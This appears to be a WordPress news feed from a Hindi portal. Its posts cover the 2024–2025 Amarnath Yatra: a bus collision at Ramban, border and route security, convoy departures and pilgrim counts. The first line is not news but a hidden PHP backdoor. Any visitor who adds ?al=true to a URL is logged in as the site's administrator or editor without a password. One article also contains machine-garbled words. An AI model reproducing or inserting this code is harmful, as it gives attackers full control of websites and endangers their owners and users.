// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); amarnath – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 05 Jul 2025 06:56:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अमरनाथ यात्रा के दौरान बसों की टक्कर, 36 लोग घायल; नाश्ते के लिए रुका था काफिला https://pratyushaashakinayikiran.com/?p=168694 Sat, 05 Jul 2025 06:56:00 +0000 https://pratyushaashakinayikiran.com/?p=168694 श्रीनगर 

जम्मू कश्मीर के रामबन जिले में शुक्रवार को अमरनाथ यात्रा के दौरान एक हादसा हो गया. डिप्टी कमिश्नर DEO रामबन ने बताया कि पहलगाम काफिले का आखिरी वाहन चंद्रकोट लंगर स्थल पर नियंत्रण खो बैठा और वहां खड़े वाहनों से जा टकराया. इस टक्कर में चार वाहन क्षतिग्रस्त हो गए और तीस से ज्यादा यात्रियों को चोटें आईं. हालांकि तत्काल सभी को पास के अस्पताल पहुंचाया गया है.

प्रशासन पहले से ही घटनास्थल पर मौजूद
जानकारी के मुताबिक जिला प्रशासन पहले से ही घटनास्थल पर मौजूद था और घायलों को तुरंत जिला अस्पताल रामबन पहुंचाया गया. प्राथमिक इलाज के बाद सभी श्रद्धालुओं को अन्य वाहनों में उनके अगले पड़ाव के लिए रवाना किया गया. प्रशासन ने स्थिति को तुरंत नियंत्रण में लेकर राहत और बचाव कार्य को तेजी से अंजाम दिया.

फिलहाल बताया गया है कि यात्रियों को जिला अस्पताल रामबन में इलाज के लिए भेजा गया जहां सभी का उपचार किया गया. गनीमत रही कि किसी को बहुत गंभीर चोटें नहीं आई हैं. किसी को रेफर करने की जरूरत नहीं पड़ी. पुलिस ने मामले में जांच भी शुरू की और यात्रा मार्ग पर सुरक्षा और भी ज्यादा घनी कर दी गई है. 

जम्मू-कश्मीर प्रशासन ने तगड़े इंतजाम किए
मालूम हो कि अमरनाथ यात्रा 2025 की सुरक्षा के लिए जम्मू-कश्मीर प्रशासन ने तगड़े इंतजाम किए. जम्मू-श्रीनगर राष्ट्रीय राजमार्ग पर संयुक्त मॉक ड्रिल और भूस्खलन अभ्यास किए गए. इसमें सेना सीआरपीएफ, जम्मू-कश्मीर पुलिस और जेकेएसडीआरएफ शामिल थे. यात्रा मार्ग पर करीब 581 केंद्रीय सशस्त्र पुलिस बल सीएपीएफ कंपनियों की तैनाती, ड्रोन, सीसीटीवी, और फेस रिकग्निशन डिवाइस का उपयोग किया गया. इतना ही नहीं आरएफआईडी कार्ड अनिवार्य किए गए और मार्ग को नो-फ्लाई जोन घोषित किया गया है

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अमरनाथ यात्रा शुरू होने से पहले अंतरराष्ट्रीय सीमा पर सुरक्षा बढ़ाई, चप्पे-चप्पे पर निगरानी रखी जा रही https://pratyushaashakinayikiran.com/?p=167491 Mon, 30 Jun 2025 06:56:00 +0000 https://pratyushaashakinayikiran.com/?p=167491 श्रीनगर 
 जुलाई से शुरू होने वाली वार्षिक अमरनाथ यात्रा से पहले अंतरराष्ट्रीय सीमा से सटे क्षेत्रों को हाई अलर्ट पर रखा गया है। भीषण गर्मी, उमस और दुश्मन की चालों के खतरे से बेपरवाह वर्दी पहने और एके राइफल से लैस महिला सुरक्षाकर्मी जम्मू सीमांत क्षेत्र में अंतरराष्ट्रीय सीमा पर कड़ी निगरानी रख रही हैं। चप्पे-चप्पे पर निगरानी रखी जा रही है।

3 जुलाई से अमरनाथ यात्रा
तीन जुलाई से 38 दिनों तक चलने वाली यह यात्रा दो मार्गों से होकर गुजरती है। एक अनंतनाग जिले में पारंपरिक 48 किलोमीटर लंबा पहलगाम मार्ग है। दूसरा गांदरबल जिले का 14 किलोमीटर लंबा बालटाल मार्ग है। यह छोटा लेकिन खड़ी चढ़ाई वाला रास्ता है। ये दोनों रास्ते 3,880 मीटर ऊंचे अमरनाथ गुफा मंदिर तक जाते है।

महिला सैनिक बॉर्डर पर कर रहीं गश्त
यात्रा शुरू होने से एक दिन पहले तीर्थयात्रियों का पहला जत्था जम्मू स्थित भगवती नगर आधार शिवर से कश्मीर के लिए रवाना होगा। बुलेटप्रूफ जैकेट और हेलमेट पहने दुनिया के सबसे बड़े सीमा सुरक्षा बल (बीएसएफ) की महिला सैनिक सीमा पर गश्त लगाती हैं। निगरानी उपकरणों के साथ सीमा रेखा की निगरानी करती हैं और जम्मू, सांबा व कठुआ जिलों में एक उन्नत बहु-स्तरीय सुरक्षा ग्रिड के हिस्से के रूप में अपने पुरुष समकक्षों के साथ कंधे से कंधा मिलाकर दिन-रात अंतरराष्ट्रीय सीमा की रक्षा करती हैं।

जोश है हाई
त्रि-स्तरीय सीमा बाड़बंदी के साथ गश्त कर रहे बीएसएफ के एक जवान ने बताया कि हम सीमा पर उच्च स्तर की सतर्कता बनाए हुए हैं। सीमा पार से किसी भी तरह की शरारत की स्थिति में, मुंहतोड़ जवाब दिया जाएगा। यह पूछने पर कि मुंहतोड़ जवाब क्या होगा, तो उन्होंने तुरंत जवाब दिया कि गोली का जवाब गोले से दिया जाएगा।

हाईटेक उपकरणों से हैं लैस
सातों दिन चौबीसों घंटे गश्त के अलावा बीएसएफ निगरानी उपकरणों, रात के समय अंधेरे में देखने में मदद करने वाले उपकरणों, ‘ग्राउंड सेंसर’ और उच्च क्षमता वाले कैमरों के साथ-साथ इलाके की निगरानी कर रही है। जवानों ने बताया कि वे भारत-पाकिस्तान सीमा पर होने वाली छोटी-छोटी हरकतों पर भी कड़ी नज़र रखते हैं और दिन-रात सतर्क रहते हैं।

इधर जम्मू-कश्मीर के उपराज्यपाल मनोज सिन्हा ने तीन जुलाई से शुरू होने वाली वार्षिक अमरनाथ तीर्थयात्रा की व्यवस्था से जुड़ी तैयारियों की समीक्षा की। वह नुनवान और चंदनवाड़ी स्थित आधार शिविर पहुंचे। नुनवान आधार शिविर में उपराज्यपाल ने तीर्थयात्रियों की सुचारु आवाजाही के लिए एक ‘फुट ओवरब्रिज’ का उद्घाटन किया।

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अमरनाथ यात्रा के लिए 1873 तीर्थयात्रियों का नया जत्था जम्मू आधार शिविर से रवाना https://pratyushaashakinayikiran.com/?p=57783 Tue, 06 Aug 2024 11:56:00 +0000 https://pratyushaashakinayikiran.com/?p=57783 श्रीनगर

Jammu के भगवती नगर आधार शिविर से Tuesday को 1,873 तीर्थPassengers का एक और जत्था कश्मीर के लिए रवाना हुआ. Monday को अनुच्छेद 370 के किए जाने की पांचवी वर्षगांठ के चलते सुरक्षा कारणों से सभी आधार शिविरों से किसी भी यात्री को आगे बढ़ने की इजाजत नहीं दी गई थी. पिछले 38 दिनों में 5 लाख के करीब श्रद्धालुओं ने अमरनाथ की पवित्र गुफा में बाबा बर्फानी के दर्शन किए हैं.

1,873 श्रद्धालुओं के जत्थे में 1579 पुरुष, 202 महिलाएं, 65 साधु और 27 साध्वियां शामिल हैं. यह सभी 69 वाहनों से कड़ी सुरक्षा के बीच सुबह 3ः30 बजे भगवती नगर यात्री निवास से बालटाल बेस कैंप के लिए रवाना हुए.

अमरनाथ पवित्र गुफा कश्मीर हिमालय में समुद्र तल से 3,888 मीटर की ऊंचाई पर स्थित है. श्रद्धालु पारंपरिक दक्षिण कश्मीर पहलगाम मार्ग या उत्तर कश्मीर बालटाल मार्ग से गुफा मंदिर तक पहुंचते हैं. पहलगाम-गुफा तीर्थस्थल की लंबाई 48 किलोमीटर है और तीर्थPassengers को तीर्थस्थल तक पहुंचने में 4-5 दिन लगते हैं. बालटाल-गुफा तीर्थस्थल की लंबाई 14 किलोमीटर है और तीर्थPassengers को दर्शन करने और बेस कैंप पर लौटने में एक दिन लगता है. उत्तरी कश्मीर मार्ग पर बालटाल और दक्षिण कश्मीर मार्ग पर चंदनवाडी में तीर्थPassengers के लिए हेलीकॉप्टर सेवाएं भी उपलब्ध हैं. इस वर्ष की यात्रा 52 दिनों के बाद 19 अगस्त को श्रावण पूर्णिमा और रक्षा बंधन त्योहारों के साथ संपन्न होगी.

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अमरनाथ यात्रा नौ दिन में 1.82 लाख से ज्यादा श्रद्धालुओं ने किए बाबा बर्फानी के दर्शन https://pratyushaashakinayikiran.com/?p=49303 Mon, 08 Jul 2024 12:15:00 +0000 https://pratyushaashakinayikiran.com/?p=49303  जम्मू
 कश्मीर में पिछले नौ दिनों में 1.82 लाख से अधिक श्रद्धालुओं ने अमरनाथ की पवित्र गुफा के दर्शन किए हैं। सोमवार को 5,803 श्रद्धालुओं का एक और जत्था कश्मीर के लिए रवाना हुआ।

श्री अमरनाथजी श्राइन बोर्ड (एसएएसबी) के अधिकारियों ने बताया, "आज 5,803 यात्रियों का एक और जत्था जम्मू के भगवती नगर यात्री निवास से दो सुरक्षा काफिलों में घाटी के लिए रवाना हुआ। 88 वाहनों का पहला सुरक्षा काफिला 1862 यात्रियों को लेकर सुबह 3.10 बजे उत्तरी कश्मीर के बालटाल बेस कैंप के लिए रवाना हुआ, जबकि 3941 यात्रियों का दूसरा जत्था 130 वाहनों के दूसरे काफिले में सुबह 4 बजे दक्षिण कश्मीर के नुनवान (पहलगाम) बेस कैंप के लिए रवाना हुआ।"

मौसम विभाग ने दोनों यात्रा मार्गों पर आंशिक रूप से बादल छाए रहने और दिन में रुक-रुक कर हल्की बारिश की संभावना जताई है।

श्रद्धालु या तो 48 किलोमीटर लंबे पारंपरिक पहलगाम गुफा मंदिर मार्ग से यात्रा करते हैं या फिर 14 किलोमीटर लंबे बालटाल मार्ग से यात्रा करते हैं।

पहलगाम मार्ग का उपयोग करने वालों को गुफा मंदिर तक पहुंचने में चार दिन लगते हैं, जबकि बालटाल मार्ग का उपयोग करने वाले लोग गुफा मंदिर के अंदर 'दर्शन' करने के बाद उसी दिन आधार शिविर लौट आते हैं।

दोनों मार्गों पर और पारगमन शिविरों ताथ गुफा मंदिर में 124 से अधिक लंगर (सामुदायिक रसोई) बनाये गए हैं। इस साल की यात्रा के दौरान 7 हजार से ज्यादा सेवादार यात्रियों की सेवा कर रहे हैं। दोनों मार्गों पर यात्रियों के लिए हेलीकॉप्टर सेवाएं भी उपलब्ध हैं।

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51,000 श्रद्धालुओं ने तीन दिनों में किए बाबा अमरनाथ के दर्शन https://pratyushaashakinayikiran.com/?p=47323 Tue, 02 Jul 2024 12:15:00 +0000 https://pratyushaashakinayikiran.com/?p=47323  जम्मू
 29 जून को शुरू हुई अमरनाथ यात्रा के बाद से अब तक 51,000 श्रद्धालु दर्शन कर चुके हैं। मंगलवार को 6,537 तीर्थयात्रियों का एक और जत्था दो सुरक्षा काफिले के साथ कश्मीर के लिए रवाना हुआ।
अधिकारियों ने बताया कि 6,537 तीर्थयात्री जम्मू के भगवती नगर यात्री निवास से घाटी के लिए रवाना हुए।

अधिकारियों ने बताया, "इनमें से 2106 श्रद्धालु 105 वाहनों के सुरक्षा काफिले के साथ सुबह 3.05 बजे बालटाल बेस कैंप के लिए रवाना हुए, जबकि 4,431 तीर्थयात्री 156 वाहनों में सवार होकर सुबह 3.50 बजे नुनवान (पहलगाम) बेस कैंप के लिए रवाना हुए।"

मौसम विभाग ने दोनों यात्रा मार्गों पर आमतौर पर बादल छाए रहने और सुबह के समय हल्की बारिश/गरज के साथ छींटे पड़ने का अनुमान जताया है।

यात्री या तो 48 किलोमीटर लंबे पारंपरिक पहलगाम गुफा मंदिर मार्ग या 14 किलोमीटर वाले छोटे बालटाल मार्ग से यात्रा करते हैं।

पहलगाम मार्ग का उपयोग करने वालों को गुफा मंदिर तक पहुंचने में चार दिन लगते हैं, जबकि बालटाल मार्ग से जाने वाले ‘दर्शन’ करने के बाद उसी दिन बेस कैंप लौट आते हैं।

इस वर्ष की यात्रा के दौरान 7,000 से अधिक ‘सेवादार’ (स्वयंसेवक) यात्रियों की सेवा कर रहे हैं।

यात्रियों की भीड़ को नियंत्रित करने के लिए रेलवे ने 3 जुलाई से अतिरिक्त ट्रेनें चलाने का निर्णय लिया है।

दोनों मार्गों पर यात्रियों के लिए हेलीकॉप्टर सेवाएं भी उपलब्ध हैं।

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अमरनाथ यात्रा दो दिन में 28,534 यात्रियों ने किये दर्शन https://pratyushaashakinayikiran.com/?p=47006 Mon, 01 Jul 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=47006 बालटाल
 जम्मू से सोमवार को 6,461 यात्रियों का एक और जत्था पवित्र अमरनाथ गुफा के लिए रवाना हुआ। यात्रा के पहले दो दिन में 29 और 30 जून को 28 हजार से ज्यादा तीर्थयात्रियों ने बाबा बर्फानी के दर्शन किए हैं। अधिकारियों ने बताया कि पिछले दो दिन में 28,534 श्रद्धालुओं ने गुफा मंदिर के अंदर दर्शन किए। एक अधिकारी ने कहा, “आज जम्मू के भगवती नगर यात्री निवास से 6,461 यात्रियों का एक और जत्था दो सुरक्षा काफिलों में घाटी के लिए रवाना हुआ। इनमें से 2,321 यात्री 118 वाहनों के काफिले में सुबह 3.15 बजे उत्तरी कश्मीर के बालटाल आधार शिविर के लिए रवाना हुए। वहीं, 147 वाहनों के एक अन्य सुरक्षा काफिले में 4,140 यात्री सुबह 4.10 बजे दक्षिण कश्मीर के नुनवान आधार शिविर के लिए रवाना हुए।”

    जम्मू से सोमवार को 6,461 यात्रियों का जत्था अमरनाथ के लिए रवाना हुआ
    यात्रा के पहले दो दिन में 28 हजार से ज्यादा तीर्थयात्रियों ने दर्शन किए हैं
    अमरनाथ यात्रा 29 जून को शुरू और 19 अगस्त को रक्षा बंधन पर समाप्त होगी

29 जून को शुरू हुई थी अमरनाथ यात्रा

इस साल 52 दिन तक चलने वाली अमरनाथ यात्रा 29 जून को शुरू हुई थी और 19 अगस्त को रक्षा बंधन पर समाप्त होगी। यात्री 48 किलोमीटर लंबे पारंपरिक पहलगाम-गुफा तीर्थ मार्ग से या फिर 14 किलोमीटर लंबे बालटाल-गुफा तीर्थ मार्ग से यात्रा करते हैं। पहलगाम मार्ग से गुफा मंदिर तक पहुंचने में चार दिन लगते हैं, जबकि बालटाल मार्ग से जाने पर ‘दर्शन’ करने के बाद उसी दिन वापस आधार शिविर लौट सकते हैं। समुद्र तल से 3,888 मीटर ऊपर स्थित गुफा मंदिर में बर्फ की एक संरचना है जो चंद्रमा की कलाओं के साथ घटती-बढ़ती रहती है। भक्तों का मानना ​​है कि बर्फ की यह संरचना भगवान शिव की पौराणिक शक्तियों का प्रतीक है।

सुरक्षा के व्यापक प्रबंध किए गए
इस वर्ष लगभग 300 किलोमीटर लंबे जम्मू-श्रीनगर राजमार्ग पर, दोनों यात्रा मार्गों पर, दोनों आधार शिविरों पर और गुफा मंदिर में सुरक्षा के व्यापक प्रबंध किए गए हैं, ताकि यात्रा सुचारू और निर्बाध हो सके। दोनों मार्गों पर और पारगमन शिविरों और गुफा मंदिर में 124 से अधिक ‘लंगर’ लगाए गए हैं। इस वर्ष की यात्रा के दौरान 7,000 से अधिक ‘सेवादार’ यात्रियों की सेवा कर रहे हैं। यात्रियों की भीड़ को नियंत्रित करने के लिए रेलवे ने 3 जुलाई से अतिरिक्त ट्रेनें चलाने का फैसला किया है। दोनों मार्गों पर यात्रियों के लिए हेलीकॉप्टर सेवाएं भी उपलब्ध हैं।

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जम्मू से अमरनाथ तीर्थयात्रियों का पहला जत्था शुक्रवार को रवाना हुआ https://pratyushaashakinayikiran.com/?p=45910 Fri, 28 Jun 2024 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=45910 जम्मू
 जम्मु-कश्मीर में पवित्र अमरनाथ यात्रा के लिए श्रद्धालुओं का पहला जत्था शुक्रवार को कड़ी सुरक्षा व्यवस्था के बीच यहां भगवती नगर यात्री निवास आधार शिविर से रवाना होगा।आधिकारिक सूत्रों ने बताया कि अमरनाथ श्रद्धालुओं के पहले जत्थे को आज  सुबह यात्री निवास से रवाना किया गया । जम्मू-कश्मीर प्रशासन ने तीर्थयात्रियों की सुचारू यात्रा के लिए व्यापक व्यवस्था की है।

जम्मू संभागीय आयुक्त रमेश कुमार ने जम्मू क्षेत्र के अतिरिक्त पुलिस महानिदेशक आनंद जैन के साथ अमरनाथ यात्रा के लिए प्रशासन की ओर से की गयी तैयारियों का निरीक्षण किया। अधिकारियों ने अमरनाथ पवित्र यात्रा के लिए यात्री निवास में आने वाले तीर्थयात्रियों को सभी सुविधाएं और सेवाएं निर्बाध रूप से प्रदान करने के निर्देश जारी किये हैं। उन्होंने चौबीसों घंटे नियंत्रण कक्ष के कामकाज की निगरानी करने तथा आवश्यक सेवाओं के प्रतिनिधियों की उपस्थिति सुनिश्चित करने के निर्देश दिए, जबकि परिवहन अधिकारियों को यात्रियों की जानकारी के लिए निजी टैक्सियों तथा तिपहिया वाहनों की दरों का व्यापक प्रचार करने को कहा।

एक वरिष्ठ पुलिस अधिकारी ने बताया कि इस साल, प्रशासन और सुरक्षा बलों ने तीर्थयात्रा के सुचारू संचालन के लिए विशेष व्यवस्था की है। शांतिपूर्ण यात्रा के लिए एक बहु-स्तरीय सुरक्षा ग्रिड बनाया गया है। राष्ट्रीय राजमार्ग, गुफा मार्गों और आधार शिविरों पर सैनिकों की पर्याप्त तैनाती के अलावा, निगरानी बनाए रखने के लिए तकनीक का अधिकतम उपयोग भी किया जा रहा है।

उन्होंने बताया कि जम्मू में अमरनाथ आधारशिविर के आसपास त्रिस्तरीय सुरक्षा व्यवस्था की गयी है, जिसका जिम्मा जम्मू-कश्मीर पुलिस की सुरक्षा शाखा के पास है। जम्मू से वार्षिक यात्रा की सुरक्षित शुरुआत सुनिश्चित करने के लिए सुरक्षा बलों ने तलाशी और सैनिटाइजेशन अभियान चलाया है। जम्मू शहर में ठहरने की जगहों और पंजीकरण केंद्रों पर भी कड़ी सुरक्षा व्यवस्था की गई है। उन्होंने कहा कि तीर्थयात्रियों की परेशानी मुक्त आवाजाही सुनिश्चित करने के लिए सीमा सड़क संगठन (बीआरओ) ने गुफा मंदिर की ओर जाने वाली सड़क को उन्नत किया है।

इस बीच अमरनाथ यात्रा को ध्यान में रखते हुए जम्मू-कश्मीर यातायात पुलिस ने गुरुवार को यातायात की आवाजाही पर प्रतिबंध की घोषणा की। यातायात पुलिस की सलाह पर प्रशासन ने विभिन्न स्थानों पर वाहनों की आवाजाही पर प्रतिबंध लगाने का फैसला किया है। ये प्रतिबंध 28 जून से 19 अगस्त के बीच लागू रहेंगे। पर्यटकों और यात्रियों सहित आम लोगों से अनावश्यक असुविधा से बचने के लिए निर्देशों का सख्ती से पालन करने तथा अपनी यात्रा की योजना उसी के अनुसार बनाने का आग्रह किया है।
जम्मू पर्यटन विभाग ने तीर्थयात्रियों के लिए 'जम्मू दर्शन' और उनकी यात्रा को यादगार बनाने के लिए दर्शनीय स्थलों की यात्रा की भी व्यवस्था की है।

 अमरनाथ यात्रा के तीर्थयात्रियों गुफा मंदिर के दोनों मार्गों पर मिलेंगे 125 'लंगर' स्टाॅल

 उत्तर कश्मीर बालटाल और दक्षिण कश्मीर अनंतनाग आधार शिविरों के लिए सुरक्षा वाहनों में रवाना होंगे। अधिकारियों ने कहा कि यात्रियों का पहला जत्था शुक्रवार सुबह 4 बजे भगवती नगर यात्री निवास से सुरक्षा काफिले में घाटी के लिए रवाना होगा और वे शनिवार को 'दर्शन' करेंगे।

 लगभग 300 किलोमीटर लंबे जम्मू-श्रीनगर राष्ट्रीय राजमार्ग की सुरक्षा के लिए सैकड़ों सीएपीएफ को यात्रा कर्तव्यों पर तैनात किया गया है। सीएपीएफ की अधिक टीमें 85 किमी लंबी श्रीनगर-बालटाल बेस कैंप रोड और काजीगुंड-पहलगाम बेस कैंप रोड की सुरक्षा कर रही हैं। अधिकारियों ने श्रीनगर-बालटाल मार्ग पर गांदरबल जिले के मनिगाम में और काजीगुंड-पहलगाम मार्ग पर मीर बाजार में यात्रा पारगमन शिविर स्थापित किए हैं।

इस साल की अमरनाथ यात्रा के लिए अब तक कुल 3.50 लाख यात्रियों ने पंजीकरण कराया है। और, गुफा मंदिर के दोनों मार्गों पर 125 'लंगर' (सामुदायिक रसोई) स्थापित किए गए हैं। इन लंगरों में 7,000 से अधिक सेवादार यात्रियों की सेवा करेंगे। पहलगाम और बालटाल दोनों मार्गों पर तीर्थयात्रियों के लिए हेलीकॉप्टर सेवाएं भी उपलब्ध हैं। इस वर्ष, एनडीआरएफ, एसडीआरएफ, स्थानीय पुलिस, बीएसएफ और सीआरपीएफ से ली गई 38 पर्वतीय बचाव टीमों को यात्रा के लिए तैनात किया गया है।

प्रत्येक वर्ष सफल अमरनाथ यात्रा में स्थानीय कुली, पोनीवाला और हाथ से काम करने वाले मजदूर बड़े पैमाने पर योगदान देते हैं। नुनवान (पहलगाम-गुफा तीर्थ) पारंपरिक मार्ग 48 किमी लंबा है जबकि बालटाल-गुफा तीर्थ मार्ग केवल 14 किमी लंबा है। पारंपरिक नुनवान (पहलगाम-गुफा तीर्थ) मार्ग का उपयोग करने वाले यात्रियों को गुफा मंदिर तक पहुंचने में चार दिन लगते हैं, जबकि छोटे बालटाल-गुफा तीर्थ मार्ग का उपयोग करने वाले यात्री 'दर्शन' करते हैं और उसी दिन आधार शिविर में लौट आते हैं।

 

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जम्मू कश्मीर : सांबा के एसएसपी ने घुसपैठ की आशंका वाले मार्गों पर गश्त तेज करने के आदेश दिए https://pratyushaashakinayikiran.com/?p=43019 Wed, 19 Jun 2024 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=43019 जम्मू
जम्मू कश्मीर के सांबा में वरिष्ठ पुलिस अधीक्षक ने वार्षिक अमरनाथ यात्रा से पहले सुरक्षा व्यवस्था मजबूत करने के तहत घुसपैठ की आशंका वाले मार्गों पर गश्त और निगरानी बढ़ाने तथा संवेदनशील स्थानों पर रात्रि चौकियों की स्थापना करने का  आदेश दिया।

यह निर्देश चार आतंकवादी हमलों के बाद बढ़ते खतरे की आशंका के बीच 29 जून को शुरू होने वाली अमरनाथ यात्रा से पहले जारी किया गया है।

रियासी, कठुआ और डोडा जिलों में हुए इन हमलों में केंद्रीय रिजर्व पुलिस बल (सीआरपीएफ) के एक जवान सहित 10 लोग मारे गए और 50 घायल हो गए। सुरक्षा बलों की कार्रवाई में दो आतंकवादी भी मारे गए।

अधिकारियों ने बताया कि वरिष्ठ पुलिस अधीक्षक (सांबा) विनय कुमार ने अमरनाथ यात्रा की तैयारी पर संयुक्त सुरक्षा समीक्षा बैठक की अध्यक्षता की।

उन्होंने तीर्थयात्रा के शांतिपूर्ण संचालन के लिए किए गए सुरक्षा इंतजामों का अवलोकन कर कहा कि सतर्कता, सामूहिक कार्यों और समय पर ही खुफिया जानकारी साझा करने की आवश्यकता के मद्देनजर सभी अधिकारियों को अंतरराष्ट्रीय सीमा पार राष्ट्र विरोधी तत्वों और उनके सहयोगियों के दुर्भावनापूर्ण इरादों को विफल करने का काम सौंपा गया है।

कुमार ने सभी अधिकारियों से अमरनाथ यात्रा के दौरान कड़ी निगरानी और समन्वय बनाए रखने का आग्रह किया तथा राष्ट्र-विरोधी और असामाजिक तत्वों की साजिशों का मुकाबला करने के लिए परस्पर सहयोग के महत्व पर बल दिया।

 

 

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